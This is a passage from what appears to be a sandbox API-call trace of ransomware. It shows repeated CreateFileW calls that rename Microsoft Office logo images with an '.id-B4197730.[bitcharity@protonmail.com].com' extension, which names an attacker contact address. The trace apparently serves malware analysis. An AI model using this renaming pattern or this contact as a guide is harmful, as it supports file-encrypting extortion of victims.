liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-black_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-black_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.543] CloseHandle (hObject=0x1068) returned 1 [0266.544] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.544] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-white_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.544] CloseHandle (hObject=0x1068) returned 1 [0266.545] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.545] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-white_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.545] CloseHandle (hObject=0x1068) returned 1 [0266.546] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.546] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-white_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.546] CloseHandle (hObject=0x1068) returned 1 [0266.546] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.547] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.contrast-white_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.contrast-white_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.547] CloseHandle (hObject=0x1068) returned 1 [0266.547] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.547] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.548] CloseHandle (hObject=0x1068) returned 1 [0266.548] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.548] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.548] CloseHandle (hObject=0x1068) returned 1 [0266.549] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.549] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.549] CloseHandle (hObject=0x1068) returned 1 [0266.874] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.874] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogoSmall.scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogosmall.scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.874] CloseHandle (hObject=0x1278) returned 1 [0266.874] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.875] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogo.scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogo.scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.875] CloseHandle (hObject=0x1278) returned 1 [0266.876] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.876] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-black_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.876] CloseHandle (hObject=0x1278) returned 1 [0266.877] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.877] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-black_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.877] CloseHandle (hObject=0x1278) returned 1 [0266.878] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.878] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-black_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.878] CloseHandle (hObject=0x1278) returned 1 [0266.879] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.879] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-black_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.880] CloseHandle (hObject=0x1278) returned 1 [0266.880] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.880] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-white_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.880] CloseHandle (hObject=0x1278) returned 1 [0266.881] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.881] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-white_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.881] CloseHandle (hObject=0x1278) returned 1 [0266.882] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.882] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-white_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.882] CloseHandle (hObject=0x1278) returned 1 [0266.883] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.883] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-white_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.883] CloseHandle (hObject=0x1278) returned 1 [0266.884] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.884] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.884] CloseHandle (hObject=0x1278) returned 1 [0266.885] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.885] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.885] CloseHandle (hObject=0x1278) returned 1 [0266.885] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.886] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.886] CloseHandle (hObject=0x1278) returned 1 [0266.887] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.887] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.887] CloseHandle (hObject=0x1278) returned 1 [0266.888] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.888] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-black_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.888] CloseHandle (hObject=0x1278) returned 1 [0266.889] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.889] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-black_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.889] CloseHandle (hObject=0x1278) returned 1 [0266.890] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.890] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-black_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.890] CloseHandle (hObject=0x1278) returned 1 [0266.891] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.891] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-black_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-black_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.891] CloseHandle (hObject=0x1278) returned 1 [0266.892] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.892] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-white_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.892] CloseHandle (hObject=0x1278) returned 1 [0266.892] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.893] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-white_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.893] CloseHandle (hObject=0x1278) returned 1 [0266.893] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.893] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-white_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.894] CloseHandle (hObject=0x1278) returned 1 [0266.894] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.894] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.contrast-white_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.contrast-white_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.895] CloseHandle (hObject=0x1278) returned 1 [0266.895] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.896] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.896] CloseHandle (hObject=0x1278) returned 1 [0266.935] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.935] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 